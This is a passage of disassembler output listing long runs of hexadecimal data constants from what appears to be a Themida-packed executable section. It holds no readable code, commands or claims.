56CC9DBFh, 0AA1A6179h, 0B3309221h, 1442A0CCh, 0F50F218Ah dd 0AAB7FE1Ah, 0BC54A618h, 50A51E99h, 556D693Eh, 4BC8DDB7h dd 1442A0B4h, 4E60B922h, 0F193D379h, 785A7956h, 3BF12538h dd 0D70F2F08h, 3A8AE33Ch, 6FA7BF9Ch, 92EDC2D4h, 0A0CCB330h dd 218A1442h, 7513ED0Fh, 976C7E9Ah, 1A617956h, 0B17721AAh dd 8911C0E5h, 115C7756h, 72D5C2C0h, 26C80059h, 0C1E857A3h dd 280591BDh, 0F774D810h, 7F8E034Fh, 0FB1BF492h, 791628C3h dd 771C8ECDh, 4721A836h, 0ED0BE571h, 795606DBh, 7D4E1A61h dd 0F49212B9h, 27EDFF17h, 5F7B569Eh, 567D4E18h, 0AA1C6377h dd 0E7CBA618h, 1292F210h, 20922B00h, 0F5FA526h, 7DCDB9h dd 1442D27Bh, 0B25C6ED7h, 637756F1h, 567D4E1Ch, 0AA1C6377h dd 16F49221h, 7ED7F1CDh, 4037B446h, 0E1442A0h, 413A4CA5h dd 1442A0BAh, 83A17B19h, 556D9C71h, 0A08176F3h, 0EE3E1442h dd 0DAB16362h, 0ABBD2677h, 0B33092D6h, 1442A0CCh, 859734Fh dd 0B4F08D9Fh, 0B330920Eh, 1442A0CCh, 3E991A8Ah, 7ADAEEC6h dd 16F50F21h, 7D4EBB02h, 0FD19F492h, 0FE182AC5h, 59BB0B1Fh dd 42A027DCh, 384AB314h, 0A618AA63h, 520027BBh, 6B405251h dd 42A08077h, 5E6D5814h, 76E893D3h, 0CE4BAA66h, 36195D3Eh dd 795BE1CCh, 56390E20h, 921C6377h, 0A0CCB330h, 218A1442h dd 0B91CED0Fh, 5621AA12h, 0AA1C6377h, 9212B921h, 42A06215h dd 7754F014h, 0FE36502Ch, 40D20A63h, 42A03CC3h, 0D8319A14h dd 7D4E387Fh, 1C637756h, 1DAE7D4Eh, 0F069Eh, 79562D00h dd 23A502Eh, 4CBE0E67h, 2749DAB8h, 0D2A7B9DCh, 8F7721AAh dd 5F1442A0h, 93D3418Ah, 176A95F1h, 0CA2CE05Ch, 42A2B64Dh dd 47B42414h, 0AB26A8BBh, 6C0B1D76h, 614h, 597A5695h, 4B449099h dd 337AD3C6h, 39B618AAh, 1442A042h, 0C095A710h, 16F492h dd 0E0F6D4EEh, 7721AA99h, 3DBB784h, 2F785654h, 99E03953h dd 20927D4Eh, 0B6BDB784h, 251E308Ch, 4B00FA1Ch, 607A5648h dd 567D4E19h, 0AA19607Ah, 62785621h, 7F977412h, 0C59AAC47h dd 5E6D21AAh, 86E893D3h, 42A07209h, 6577E014h, 607A5690h dd 0B97D4E19h, 9221AA12h, 0A0CCB330h, 0EE8A1442h, 8C9EF713h dd 78779472h, 165B5F79h, 4E79C019h, 9205C67Dh, 0E9C81BF4h dd 0A9447CD5h, 0A0D99E97h, 0D8761442h, 0BCD6B2F9h, 7E90E984h dd 925E6DA9h, 0EDFF17F4h, 0AE6E1450h, 607A561Dh, 79997210h dd 0BC5F9F41h, 7E745296h, 0AA3E1325h, 7F0E4521h, 0DBED03E1h dd 0D317B406h, 7A56F193h, 7D4E1960h, 0CCB33092h, 8A1442A0h dd 19F50F21h, 963DAFFFh, 0CA7009BDh, 0AA9B7082h, 1BF49221h dd 1628C3FBh, 42A0631Dh, 3D80F214h, 64D33613h, 0C2582D3Fh dd 0F193D309h, 4E2D7A56h, 0A031C643h, 349D1442h, 7C08A3DBh dd 0B44F879Fh, 744E145Bh, 0A0EE9512h, 6E5D1442h, 0BE8A212Dh dd 127BCCh, 607A562Bh, 19209219h, 65B85248h, 97BDFC5Ch dd 9B453FAEh, 773AC389h, 5093A2B9h, 6BDDE591h, 0A2A274D3h dd 0FFD4E683h, 56F193D3h, 9219607Ah, 9DB59230h, 42A04D32h dd 0D9F1CE14h, 4CB506A1h, 0A03E183Ah, 0C69BADC1h, 0FB1BF492h dd 18F5C3h, 22421BA7h, 1AF610h, 7721AAB9h, 82DD18E5h, 0D30BC0B5h dd 0F492F193h, 0CFE9FB1Bh, 4E92D9F3h, 6179567Dh, 16F4921Ah dd 9F28EE00h, 0EAAD9777h, 0DDE56756h, 3446663Fh, 0F193D35Fh dd 0CCB33092h, 8A1442A0h, 0A0D6AD2Ah, 1B841442h, 0B996B0C2h dd 20925AA1h, 0D3136F8h, 3B5D6FCEh, 18F4926Ah, 0F5D2ECFEh dd 0A09269E6h, 0D7401442h, 21AA377Eh, 0ABE3C377h, 0E6E59B7Dh dd 56F193D3h, 4E1A6179h, 6179567Dh, 5621AA1Ah, 0AA19607Ah dd 0D35E6D21h, 7956F193h, 0A016ED6Ah, 5BC41442h, 7D4EBB02h dd 0EE6B7856h, 1442A009h, 0A0B249C6h, 0B7201442h, 5DA4FD66h dd 0F49221AAh, 0F0E9FB1Bh, 7DABE348h, 46209214h, 4C5D7FE9h dd 512F495Bh, 0D9112D08h, 4E9EE53Eh, 6179567Dh, 17F4921Ah dd 9E27EDFFh, 12627856h, 1C3612B0h, 19DE49E4h, 0B51442A0h dd 0AA653A4Ch, 0D35E6D21h, 7956F193h, 7D4E1A61h, 12627856h dd 0F17D9974h, 29C4FC14h, 7D4E4217h, 165D7D56h, 7E7721AAh dd 4E58B6A4h, 165D7D56h, 7D567D4Eh, 0BE3B502Ah, 1442A039h dd 9BD32C95h, 0E557A700h, 0B406EB43h, 0AA00B9B7h, 29B31272h dd 0AAF0C5D7h, 16F49221h, 1826C800h, 7F875D75h, 0DDD6E841h dd 26F2516Ch, 0D3E6E508h, 7D56F193h, 0F492165Dh, 0C7E9FB1Bh dd 5D7D56F6h, 4521AA16h, 17B4870Fh, 56F193D3h, 4E165D7Dh dd 567D567Dh, 14E4183Fh, 3C83DC9Bh, 209221AAh, 72748E3Bh dd 4F485ADBh, 61E5EC6Ch, 3EDCE6ECh, 410F4763h, 76114967h dd 0D3360B1Dh, 7D56F193h, 7D4E165Dh, 0FC1AF492h, 0D7F7D0EAh dd 7721AA90h, 6F91EA5Ah, 93B18B29h, 0FF112B07h, 6BDDE52Ah dd 0F514DF45h, 360B1D12h, 92F193D3h, 0A0CCB330h, 218A1442h dd 0FC1CF50Fh, 567D4EB5h, 0AA165D7Dh, 9F517721h, 0E529531Ah dd 0F193D3E6h, 165D7D56h, 9512744Eh, 1442A0EEh, 1CF1036Ch dd 165D7D56h, 209221AAh, 0F59E0865h, 261F31A7h, 7B96A147h dd 0D3E6E515h, 0F492F193h, 0D3EDFF17h, 0EC8ADAFAh, 11E6F80Eh dd 79567D4Eh, 0A016ED6Ah, 48C51442h, 1442A0B3h, 0FC65B61Fh dd 21AA5CA3h, 0E9667D56h, 1442A012h, 0B7FE57C0h, 5E6D21AAh dd 56F193D3h, 4E1A6179h, 0DDFDD674h, 7D56F6CBh, 0FD354D2Ah dd 4EC20962h, 607A567Dh, 4A31AE10h, 81442A0h, 4EB88D9Fh dd 5E7C567Dh, 0C621AA17h, 2B7C5605h, 60FB3351h, 7D4EC007h dd 0EA677C56h, 1442A015h, 0B8FF58C1h, 0F49221AAh, 0F0E9FB1Bh dd 1442A00Bh, 0D35E6DD1h, 6C4AE893h, 926F4456h, 0A0CCB330h dd 0EE8A1442h, 52A2FB0Fh, 42A02ED5h, 3143AC14h, 13EC3D17h dd 0C720BBF3h, 567D4E80h, 0AA175E7Ch, 0A0807721h, 0B14F1442h dd 0BE45C2D7h, 1C1442A0h, 73485AB3h, 93D3E6E5h, 5E7C56F1h dd 7896700Eh, 0BE93A540h, 64CE2092h, 0BD15AF07h, 2A3C5431h dd 9B93708h, 0A0552AA7h, 98011442h, 18AAB186h, 799C34A6h dd 99ABDDB9h, 5E7C56C4h, 0B921AA17h, 62159212h, 0F11442A0h dd 0A06D128Fh, 80E91442h, 0C90115F4h, 0D43D1C2Eh, 927D4E8Dh dd 0A0CCB330h, 218A1442h, 0FD1BF50Fh, 16F492B6h, 1B2DC800h dd 0A3811FF9h, 0AEA67B8Dh, 6377561Dh, 81977513h, 21AA9A6Fh dd 29617956h, 92BE658Eh, 1CFDBE30h, 517C6D72h, 87B1463Fh dd 801E1442h, 3F7F81A6h, 0E7B2F37Ah, 0A9BB568Eh, 4E1A61CAh dd 0F274777Dh, 92441442h, 0EDFF17F4h, 90E0F4D3h, 0A0CAB12Eh dd 1F881442h, 7D4E380Dh, 0B842092h, 6D46F3BDh, 4C64415Bh dd 7721AA05h, 7468F86h, 6BDDE556h, 7F60B291h, 582D3F1Dh dd 56F193D3h, 48705A79h, 8070791Dh, 0B44F87A7h, 4EBB025Bh dd 6179567Dh, 0B618AA1Ah, 42A04239h db 14h, 10h word_5FA4F2 dw 95A7h ; DATA XREF: Themida_:00585364o dd 637756C0h, 15F4921Ch, 1C2EC901h, 0E6E5CD56h, 76E893D3h dd 0D522423Dh, 0DEA5229Bh, 7C144230h, 0D3A8BA13h, 1A617956h dd 79567D4Eh, 21AA1A61h, 468F8677h, 556D5607h, 0ADBFDDB7h dd 0F193D3D8h, 1A617956h, 0FF17F492h, 0A04D32AFh, 0A0091442h dd 0B99B6C8Eh, 5621AA12h, 4E1C6377h, 7705C67Dh, 1442A080h dd 63775658h, 6A7E5D2Bh, 5C23A032h, 0FA1442A0h, 98CC9591h dd 0C10926D1h, 116A0FE8h, 93D38D9Ch, 7614AEF1h, 0AB467E9Ch dd 0B89EC499h, 2D000008h, 42A21677h, 7B56E614h, 0DF384E2Ch dd 0CBB02D8Fh, 871442A0h, 0AA370C1Eh, 9212B921h, 0E9FB1BF4h dd 0A0E98E0Bh, 0C8661442h, 0CD9BD3EBh, 6A1D9EFh, 2A4621ADh dd 664557F2h, 7D4EB6FDh, 807705C6h, 581442A0h, 93D3E6E5h dd 0C61DAEF1h, 0A709B905h, 42A0552Ah, 24A10114h, 1442A05Fh dd 273992FBh, 6E159252h, 0ED1442A0h, 0A0690E8Bh, 7CE51442h dd 0DB228B6Ah, 77567D4Eh, 21AA1C63h, 42A08077h, 77565814h dd 96751363h, 4E9B7082h, 9212B97Dh, 42A06E15h, 3C83EC14h dd 0CCB33092h, 8A1442A0h, 1431C121h, 9E1B1ACh, 56A831F7h dd 0AA1C6377h, 925E6D21h, 0EE0016F4h, 0F4661551h, 0AD2A5039h dd 14426AD6h, 4ABB1B84h, 92A6B9AFh, 0ECCBCA11h, 0B9AC8193h dd 6C59709h, 69C9E5C0h, 676BF9A0h, 9FC83610h, 0F4C9DB34h dd 0A06E1592h, 83EC1442h, 18F4923Ch, 192BC6FEh, 5F3BD93Bh dd 453A3345h, 111442A0h, 0DCBA58A8h, 0E7C08EC6h, 875C6EC7h dd 30927D4Eh, 42A0CCB3h, 0CB0D7B14h, 0E0E9E8FCh, 0FA14268Fh dd 0EC93101Bh, 6A144250h, 4E61A801h, 42A10274h, 7B133F9Eh dd 0F4929469h, 2DC80016h, 0A26011Bh, 567D4EC3h, 710F5F7Bh dd 2D097594h, 0B520DDECh, 0AA754A5Ch, 0A0807721h, 0ED4F1442h dd 0ED58744Fh, 1442A016h, 4091AF89h, 54ADC9A4h, 556D6D42h dd 0F36234E3h, 8FA16DBBh, 0F193D3BAh, 0CA19F492h, 49FD7EBh dd 0C6D873ABh, 6EB5D1ACh, 7B567D4Eh, 18AA185Fh, 104BCA6h dd 69B925B7h, 420017ECh, 485AC314h, 0A0807773h, 0E5581442h dd 0B33092E6h, 1442A0CCh, 0F911EE8Ah, 0B5F18EA0h, 5F7B560Fh dd 16F49218h, 1B2DC800h, 0F49228F9h, 2EC90115h, 42A03CC3h dd 8319A14h, 8EE1BA58h, 2D3F98B2h, 9221AA58h, 71FD19F4h dd 0AA457D93h, 87A37E98h, 8221AA40h, 2FA847ABh, 0AF567F3Dh dd 0A0621592h, 80F01442h, 1D5DEDCh, 0D6DBA4F7h, 0BE0EC323h dd 1590028Dh, 0BD16B2ECh, 0E43D5331h, 567D4E9Dh, 4E185F7Bh dd 6179567Dh, 0BE658E29h, 1DAE21AAh, 1A617956h, 0F9A618AAh dd 632A3E95h, 0B9BF94A6h, 6E159212h, 0EC1442A0h, 245C7250h dd 4EE93089h, 577C567Dh, 3FCD6426h, 3980D9D6h, 8CA618AAh dd 15F7D138h, 92DF6E92h, 88CB1B32h, 4243740Bh, 2079E214h dd 0F492390Eh, 2EC90115h, 0A8EC231Ch, 92B41442h, 0C5FD19F4h dd 0CF229023h, 2C8504E7h, 0F3AA62CCh, 92A452BEh, 31819D78h dd 0A1AD52CFh, 0C0291442h, 21AAD9AEh, 209212B9h, 1B6E6835h dd 7E5F7B3h, 4252F58Ah, 0A8F86114h, 5232C946h, 37A01442h dd 0E07D39D7h, 1E30B470h, 927D4E49h, 0A0CCB330h, 218A1442h dd 0FD9B650Fh, 1FF40622h, 42A08077h, 0E6E55814h, 0AEF193D3h dd 65DDA214h, 5F0B221Ah, 42E71DE2h, 0F750B914h, 66DD3F97h dd 8FA1EAD5h, 667D56BAh, 0A0F08704h, 0F55E1442h, 42A0F58Ah dd 0EAC56114h, 0AE975CEh, 0AA569DF6h, 9212B921h, 42A06E15h dd 0C27BED14h, 0D09AB11Fh, 0A20BEAFCh, 707FE052h, 4E34CB48h dd 39A21442h, 88F5D6D9h, 7D4EA176h, 0CCB33092h, 8A1442A0h dd 92160F21h, 0EA34D7C0h, 16F492h, 0DBFBD4EEh, 927D4E94h dd 0A0CCB330h, 1A8A1442h, 47DC150h, 93A5FE62h, 38DB9C9Ah dd 0F492F436h, 30ADFD19h, 1442A04Bh, 728C9E07h, 4E347B97h dd 0F0C00274h, 4530FEBDh, 7F1A5266h, 923F1426h, 0C6FE18F4h dd 24FF192Bh, 21AAC108h, 51AF492h, 42A0F388h, 9DF65F14h dd 0DD6ACA65h, 6408AA4Dh, 57304A5Ch, 18AAF037h, 866941A6h dd 30427F36h, 0D30BC05Bh, 7B56F193h, 97710F5Fh, 94A64179h dd 567D4EBFh, 4E165D7Dh, 5F7B567Dh, 7721AA18h, 1442A085h dd 0D309C255h, 7B56F193h, 0F492185Fh, 2CC7FF17h, 5627F81Ah dd 0AA185F7Bh, 923F8C21h, 0EE0016F4h, 7B56FBCCh, 21AA185Fh dd 42A08577h, 35965514h, 56F193D3h, 4E185F7Bh, 0EE951274h dd 6C1442A0h, 849FA303h, 3C7180DEh, 2092552Ah, 58FA8FC1h dd 20401966h, 0C09BB5C7h, 0D9B654A4h, 54B64DCAh, 0BB241442h dd 0AA7B5062h, 82A07A18h, 0C89DAF4Ah, 0ECBC477h, 0E5E69439h dd 0FE18F492h, 7C192BC6h, 20929AC8h, 60A0C667h, 7F979999h dd 1C1C98C2h, 1F673C3h, 0CD14424Ah, 5D385264h, 744EFA41h dd 93D7FCD6h, 0AB4E3A11h, 963169C2h, 0DC142E0Ah, 565A2F41h dd 0AA1A6179h, 843C7721h, 920C120Dh, 0A0CCB330h, 754F1442h dd 8B9D0657h, 33759471h, 7741165Bh, 62C4146Dh, 423D1EE5h dd 0BFD9AD14h, 8C36342Ch, 6A46D23Bh, 6B7D1850h, 567D4E96h dd 9F116179h, 0B6809249h, 0CFA4B696h, 7721AAh, 0D829B99Dh dd 93D35E6Dh, 2E7956F1h, 102E084Fh, 0ACE43DD8h, 0CA68B811h dd 0FE99D1F1h, 7D4E17ECh, 1A617956h, 0C4521AAh, 920DBE8Ah dd 0C80016F4h, 0C67E1B2Dh, 6179569Ch, 567D4E1Ah, 19545A79h dd 0FE24FC01h, 8F0B5A9Eh, 55EDD40h, 0B82092BEh, 3B45F1E6h dd 0C64F1527h, 1D9B8677h, 0D4AF4D21h, 0D3E580B8h, 0D30BC0FEh dd 7956F193h, 0FF37532Eh, 0E2FCD864h, 6FB60FAAh, 79567D4Eh dd 18AA1A61h, 4B839F7Ah, 77C99EB0h, 3A3A3C10h, 0D3E6E5E8h dd 0F492F193h, 9372FE18h, 76536D7Fh, 7D4E175Eh, 185F7B56h dd 795621AAh, 32AF1161h, 1442A04Dh, 3340A009h, 727ACF6h dd 0AA986D7Fh, 4239B618h, 101442A0h, 6DC095A7h, 0F193D35Eh dd 0CCB33092h, 8A1442A0h, 1AF50F21h, 7D4EB7FEh, 0E65A7956h dd 60C493AEh, 4E4A91EAh, 5F7B567Dh, 0B3309218h, 1442A0CCh dd 0F812EE8Ah, 0BACC25C0h, 20926BF4h, 784CF613h, 0A2E909BFh dd 197131F4h, 0BA94AEC0h, 7D4E559Ch, 0F5F7B56h, 6C7E9271h dd 0D6744E97h, 0AA5DDFDh, 9B923F8h, 0A0552AA7h, 98011442h dd 0F492B186h, 29C4FC1Ah, 0A0A75CD9h, 0CA331442h, 0A65DDAB8h dd 341442A0h, 0A0A057D4h, 0CE2E1442h, 42A0AA51h, 66BF2814h dd 0F492C60Dh, 2DC80016h, 92CC551Bh, 8A0718F4h, 1442A0F5h dd 679FF861h, 4AA3BD99h, 8EC6E4BEh, 0EDC7E1F3h, 0F49288CFh dd 26ECFE18h, 0FF1BF694h, 427A9A73h, 6DC095A7h, 6D3FE355h dd 47374BFEh, 8BC3E1BBh, 9209DEF0h, 0EEF817F4h, 5EE5D7A8h dd 67023A93h, 0D68CB855h, 0FA9709B9h, 0D602117h, 92BB90A2h dd 42A06E15h, 0E8BED14h, 1442A069h, 730885E5h, 0DF1442A0h dd 2C0B1D76h, 6199B590h, 92266DC6h, 42A06E15h, 3C83EC14h dd 0F4927D4Eh, 28C3FB1Bh, 422FC16h, 1D3D16B4h, 0F492360Bh dd 0CDEF0115h, 0AA12B9FCh, 8AA17A18h, 42A0760Dh, 227BE414h dd 12B93B10h, 0FB1BF492h, 501628C3h, 18F492C7h, 0F5D2ECFEh dd 7D4E96DDh, 1B627856h, 5C621AAh, 1B627856h, 78567D4Eh dd 18AA1B62h, 317AA17Ah, 4EFA1EDAh, 0AA5DD36h, 807723F8h dd 581442A0h, 93D35E6Dh, 627856F1h, 567D4E1Bh, 0E9D85B78h dd 0C5651A97h, 88F11442h, 918B928h, 21AA69B0h, 42A08077h dd 5E6D5814h, 92F193D3h dd 7F893620h, 42A37D02h, 1070D914h, 33B0C287h, 1442E34Ch dd 3648A10Ah, 19F53E1Ch, 0D32CC7FFh, 827D4E8Ch, 90BCB7BFh dd 38DF08BDh, 785621AAh, 21AA1B62h, 159212B9h, 1442A062h dd 4E4087F0h, 6278567Dh, 0AE7D4E1Bh, 50977614h, 85205876h dd 92451A2Ch, 0EEC81BF4h, 0A4FD98D0h, 0A5BFD16Ch, 0EC5EAECAh dd 16434972h, 0B58A9CE8h, 0FCC621AAh, 5567835Eh, 16F49280h dd 0F9D4EE00h, 7D4E96DDh, 0EB687B56h, 1442A014h, 0A0B146C3h dd 0B41D1442h, 5AA1FA63h, 807721AAh, 581442A0h, 0DEB7556Dh dd 5DDBF6B7h, 156EE9B4h, 93D32E03h, 5F7B56F1h, 7B95710Fh dd 20929469h, 0C523D8EAh, 0E2FCD801h, 0A4B60FAAh, 7B56B182h dd 21AA185Fh, 42A08077h, 5E6D5814h, 56F193D3h, 710F5F7Bh dd 0A9447C94h, 0EC24441Dh, 4E6A3F51h, 0E1F9D674h, 0A06F1491h dd 82EB1442h, 12B99B70h, 7B5621AAh, 21AA185Fh, 9A709B9h dd 0D3A8132Dh, 7F1442A0h, 922F0416h, 42A06215h, 4087F014h dd 2D02744Eh, 9E712AD6h, 56DEB3C5h, 14EB687Bh, 0C21442A0h dd 0F52D4D26h, 61A8015Ah, 77567D4Eh, 67902B63h, 223E19B7h dd 0F4923B10h, 26ECFE18h, 561DAE9Dh, 9D0F5F7Bh, 7F5AF653h dd 0DEBF0363h, 9DAA51CEh, 0BF281442h, 0AA7F5466h, 0EC8F7721h dd 0E4566A0Ch, 4FACF1EBh, 7D9974D8h, 563D1224h, 710F5F7Bh dd 93687A96h, 30927D4Eh, 42A0CCB3h, 0F218A14h, 0B7FE1AF5h dd 3F8C21AAh, 0FCD6744Eh, 56F7CCDEh, 0AA1A6179h, 0A0847721h dd 56541442h, 4E1A6179h, 0E2F8D674h, 4DBC5082h, 0F709AE6Fh dd 16F49222h, 80967400h, 5F77546Eh, 7721AA18h, 553EA9EBh dd 0D35E6DC3h, 7956F193h, 744E1A61h, 0A0EE9512h, 53311442h dd 7183EC3Dh, 0B330929Ch, 1442A0CCh, 0F50F218Ah, 419DF918h dd 586F4888h, 21AAB8FFh, 0B8C71577h, 5E6DE575h, 56F193D3h dd 3B4F2E79h, 20929BE2h, 20FDB2F0h, 0D535D008h, 2908B591h dd 0E942DD15h, 56E4B5D7h, 0AF116179h, 42A04D32h, 6990914h dd 0E0F83196h, 1AEF015Ah, 0E3C12092h, 0C889D4FAh, 5667F0B6h dd 0F556587Bh, 7A717CFFh, 26C2F91Ah, 51AAA85Eh, 5621AA0Ah dd 58265E7Ch, 0C4FF5B7Ch, 0FB4B3AEh, 0CFDC7EB6h, 5AA78032h dd 5C0885A7h, 0D3181714h, 7956F193h, 7D4E1A61h, 1A617956h dd 309221AAh, 42A0CCB3h, 0F218A14h, 0B8C7F416h, 0E6E58475h dd 0FF17F492h, 7D1A2CC7h, 30929BC9h, 42A0CCB3h, 95218A14h dd 748EA0B8h, 4E387F97h, 7AA10274h, 554A31AEh, 9F081442h dd 224BA43Fh, 79563B10h, 21AA1A61h, 0FB1BF492h, 0A960F0E9h dd 0C133553Eh, 3EBB4A30h, 553E78B9h, 2B4CAC15h, 0DCB1C32Bh dd 0F492E6E5h, 2CC7FF17h, 9BC97D1Ah, 1A617956h, 79567D4Eh dd 0EB9F1161h, 0D2862248h, 0AAE3B8CAh, 5F7B5621h, 12744E18h dd 42A0EE95h, 0F1036C14h, 0CE30921Ch, 42A0AA51h, 54BF2814h dd 1442A0AFh, 0C0F816F0h, 596BD425h, 0D653623Fh, 1442A021h dd 0A4EB44ADh, 7C567D4Eh, 0A015EA67h, 58C11442h, 18AAB8FFh dd 0D2D58DA6h, 0A5B74613h, 885677D0h, 0AB1D4ECCh, 6EF2DFA3h dd 0EBC652FBh, 56E8BDCFh, 4E175E7Ch, 5E7C567Dh, 9221AA17h dd 405A0720h, 96363BBDh, 15E6FBB4h, 787183DCh, 1B27C7C3h dd 925E6D99h, 0A0CCB330h, 218A1442h, 9032720Fh, 0E5E7C56h dd 65779770h, 927D4E90h, 7FC54620h, 0B9CB1CCDh, 61A8C49Fh dd 7C5621AAh, 0DC354F2Bh, 0FC3B1A8Ch, 410D6868h, 42D43FC4h dd 0D9329B14h, 3092F2C7h, 42A0CCB3h, 0FEE8A14h, 0CF28C3FBh dd 144C6843h, 0FA16779h, 6A7C9471h, 0D3884395h, 6C4AE893h dd 926F4456h, 7F51AF4h, 7A6CEA43h, 0BBD5E740h, 99B791E0h dd 266DC661h, 0FC1AF492h, 56F7C8EAh, 3BCA577Ch, 0CF4DED71h dd 0F4922F76h, 28C3FB1Bh, 0A5CE1CC8h, 5365F91Bh, 0E0B95731h dd 56D9AEC0h, 92185F7Bh, 99B99230h, 42A0492Eh, 8A9C0514h dd 6B773BC4h, 43741F45h, 93D3E6E5h, 17F492F1h, 7AD3F3CCh dd 7B95A742h, 4E3D84A0h, 0DFFBD674h, 0FDAC0CA7h, 1E074E1Fh dd 92BC91A3h, 0A0CCB330h, 0E8B1442h, 1442A069h, 8F2B7CE5h dd 0C8639BB1h, 68435D6Fh, 825EFC4Ch, 0AA815668h, 839F7A18h dd 0C99EB04Bh, 0ADADDB77h, 5E6DB33Eh, 0CCB33092h, 8A1442A0h dd 32720F21h, 5F7B5690h, 567D4E18h, 0AA185F7Bh, 18F49221h dd 0F3D2ECFEh, 21AA98DFh, 93D35E6Dh, 5F7B56F1h, 0D6744E18h dd 0FAAE2F8h, 7B5628FDh, 0DC35512Ch, 451C1A8Ch, 0F1293F1Dh dd 0A7B0F656h, 0AAB58A9Ch, 0ADDB7721h, 0E5B33EADh, 0E893D3E6h dd 0A0720986h, 77E01442h, 7B569065h, 3092185Fh, 0C7FA52BEh dd 9E09A37Bh, 1442ABD9h, 0D8FA0C75h, 51209207h, 0D3D78AF8h dd 0E2BFD9EBh, 21AA83CAh, 2168464Dh, 0FCD6744Eh, 6A118EDEh dd 0E81442A0h, 92986D7Fh, 0EE0016F4h, 69E6F9D4h, 1442A092h dd 7826D040h, 110D93BFh, 374F2CB8h, 309297DEh, 42A0CCB3h dd 0F218A14h, 0E4771CEDh, 0B41442A4h, 1A617956h, 39B618AAh dd 1442A042h, 0A9E1F7D5h, 4254BD0Eh, 9212B96Dh, 42A06E15h dd 107BED14h, 1801FF9Ah, 0A50EEDFFh, 0B330925Eh, 1442A0CCh dd 0ED0F218Ah, 0AA12B91Ch, 18F49221h, 192BC6FEh, 0C40B21FFh dd 0CCB33092h, 8A1442A0h, 1CED0F21h, 0FB1BF492h, 0A3F6CFE9h dd 0A977AFC5h, 0DD78B0D0h, 0AAE42B84h, 5605C621h, 4E165D7Dh dd 607A567Dh, 1BF49219h, 1628C3FBh, 3092C750h, 42A0CCB3h dd 5C704F14h, 0CF388924h, 0AACAA3BDh, 1BF49263h, 1628C3FBh dd 7E77C750h, 452B79E8h, 4D6B45E3h, 680F7A15h, 0E62B79E9h dd 0F851714Ah, 40788E6Ch, 92BE93A5h, 9CB69230h, 995EC964h dd 261442A0h, 0CDC2C67Dh, 970051E8h, 3152F0Bh, 0A9F010E9h dd 30927D4Eh, 42A0CCB3h, 0F218A14h, 79E89B16h, 0F492F12Bh dd 28C3FB1Bh, 620FC16h, 2744EBFh, 1A303833h, 7106833Dh dd 0DD1442BBh, 34091B74h, 19607A56h, 7D5621AAh, 906F0D5Dh dd 0A0730885h, 76DF1442h, 384AE51Dh, 19F49263h, 182AC5FDh dd 0BC0C952h, 86E893D3h, 42A07209h, 6844E014h, 227B164Eh dd 0E14C64C2h, 4052A990h, 597A566Bh, 7E87C7DCh, 0EC338C8Ah dd 7D567D4Eh, 7D4E165Dh, 165D7D56h, 7A5621AAh, 21AA1960h dd 265E7C56h, 29617D58h, 2B63815Bh, 98CC9390h, 0D35463D8h dd 714AE893h, 6C7E1951h, 5D7D5697h, 15F49216h, 1C2EC901h dd 0A68220FAh, 0A7B9548Ch, 607A56D2h, 1BF49219h, 1AF5C3FBh dd 0D22BC6FEh, 56CD9EC0h, 0AA165D7Dh, 0A0807721h, 0B14F1442h dd 0D7ACBED2h, 93D35E6Dh, 5D7D56F1h, 340DAB0Dh, 0D641DC14h dd 1442A021h, 5D3244ADh, 7D567D4Eh, 21AA165Dh, 39627856h dd 6E159292h, 0EC1442A0h, 21AA3C83h, 93D30BC0h, 720986E8h dd 0E01442A0h, 56906577h, 4E165D7Dh, 0AA12B97Dh, 5D7D5621h dd 0A618AA16h, 91924D4h, 54293B43h, 93D30BC0h, 6E1592F1h dd 0EC1442A0h, 92B35A83h, 42A06E15h, 744FED14h, 2CF49151h dd 0EA43A0EBh, 260517B2h, 7D4E76BDh, 165D7D56h, 468221AAh dd 0B9544306h, 7CB4C8A7h, 0BB3888E1h, 144296C4h, 59002992h dd 0A06E1592h, 83EC1442h, 0C021AA3Ch, 0F193D30Bh, 165D7D56h dd 14AE7D4Eh, 1C3A14B2h, 19DE49E4h, 0A61442A0h, 0D51A59D5h dd 1CB809E8h, 55F0283Eh, 4D15EAFCh, 92256C42h, 0A6B84B15h dd 59A00913h, 785621AAh, 92923962h, 0EBFD19F4h, 42779C25h dd 1A6464FEh, 93D30BC0h dd 9212B9F1h, 42A06E15h, 3C83EC14h, 15927D4Eh, 1442A06Eh dd 0B35A83ECh, 795621AAh, 32AF1161h, 1442A04Dh, 0B98EA009h dd 7D567D4Eh, 0F492165Dh, 25C7FF17h, 0FD1B67D8h, 0C8DA33E5h dd 0FCC67902h, 0A0661D9Ah, 58F41442h, 922D6579h, 0B9522739h dd 9221AA12h, 2310EA20h, 0B84484FEh, 0ED88C0DEh, 0C8E8C1DBh dd 0C67D4E81h, 0A0807705h, 6D581442h, 0F193D35Eh, 7D561DAEh dd 21AA165Dh, 42A08077h, 5E6D5814h, 56F193D3h, 12E9667Dh dd 0C01442A0h, 0D2F2CB57h, 5FA6FF9Ah, 0F7D6744Eh, 0FE10ABE3h dd 5D7D5629h, 9221AA16h, 3E540520h, 0A5F57579h, 422C5328h dd 8496FF14h, 422CF48Bh, 78566C14h, 825C2A62h, 0C84B2C64h dd 9B60DD9Ch, 371442A0h, 0F10075CEh, 56F193D3h, 4E165D7Dh dd 607A567Dh, 0BD648D28h, 7D5621AAh, 0A012E966h, 0ACB11442h dd 0EA860763h, 0CBA74394h, 85DE79B1h, 21AAE52Ch, 0F49212B9h dd 0DEBFD19h, 42A0E790h, 8E0B6B14h, 1442A0E9h, 5CA3FC65h dd 0CCB33092h, 8A1442A0h, 9EBA9521h, 97B9CB66h, 15F492C6h dd 0FCD5EF01h, 7D4E95DCh, 6FA214AEh, 2AE2AC73h, 5653283Ah dd 0AA19607Ah, 81A17A18h, 0E779A6Fh, 0DE25D7CAh, 19607A56h dd 4302744Eh, 2CD350ACh, 0AA144286h, 255EE141h, 56390E20h dd 0AA19607Ah, 82A07A18h, 0E25FAF4Ah, 1442A01Dh, 693E50B9h dd 16F492h, 16B40AEEh, 4EE92139h, 7D4E673Ch, 19607A56h dd 0CCB33092h, 8A1442A0h, 9EBA9521h, 0F3B9CB66h, 14B2EF61h dd 162C0489h, 2C9F2F04h, 0FD19F492h, 7B182AC5h, 0F49299CBh dd 28C3FB1Bh, 9223F416h, 0C4FC1AF4h, 1EFD1729h, 411CBA0Ah dd 4052ED25h, 7A18AA6Bh, 0B34E869Ch, 0EF77CCA1h, 0BF624AC5h dd 439D2092h, 0D48828D6h, 0B5C9A8C2h, 0F1860365h, 5D1442DEh dd 4E0DE2F4h, 697A567Dh, 42A017ECh, 0E663C314h, 1442A011h dd 